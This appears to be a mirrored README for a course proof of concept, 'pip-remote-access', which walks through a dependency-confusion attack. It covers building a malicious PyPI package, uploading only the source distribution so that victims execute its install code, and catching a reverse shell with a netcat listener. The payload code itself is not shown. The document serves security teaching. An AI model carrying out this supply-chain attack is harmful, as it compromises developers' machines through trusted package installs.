Giter Club home page Giter Club logo

pip-remote-access's Introduction

Explanation:

It's important to be aware that packages installation via pip install command have the ability to execute python code as part of the install process. For CMPT785 course assignment2 poc usage - requirements.txt has --extra-index-url to point to private registry but pip install will check Pypi first. By uploading malicious package with the same name in Pypi, program will download the malicious version and pip install can give a reverse shell to the attacker.

Build the package:

  1. Install the package build process dependencies

python -m pip install --user --upgrade setuptools wheel twine

  1. cd to the directory of setup.py, use this command to build the package

python setup.py sdist bdist_wheel

  1. After build, remember either remove the .whl file from /dist folder or during the upload process, only upload the .tar.xz one. The reason is that we want victims' to build the package themselves in order to get the malicious code execute on victims' machine.

twine upload dist/*.tar.xz

  1. It will prompt you to enter your username and password in Pypi.org

Simulate the attack:

Two terminal windows. (If two machines, change the code in setup.py)

Attacker: Listen on 1234 port with netcatnc -lvp 1234

Victim: Execute pip install commandpip install much_needed_py_package

We can see in attacker's window, a reverse shell is estatblished.

CleanShot 2023-04-08 at 23 18 14

pip-remote-access's People

Contributors

the-robin-hood avatar maxk77 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.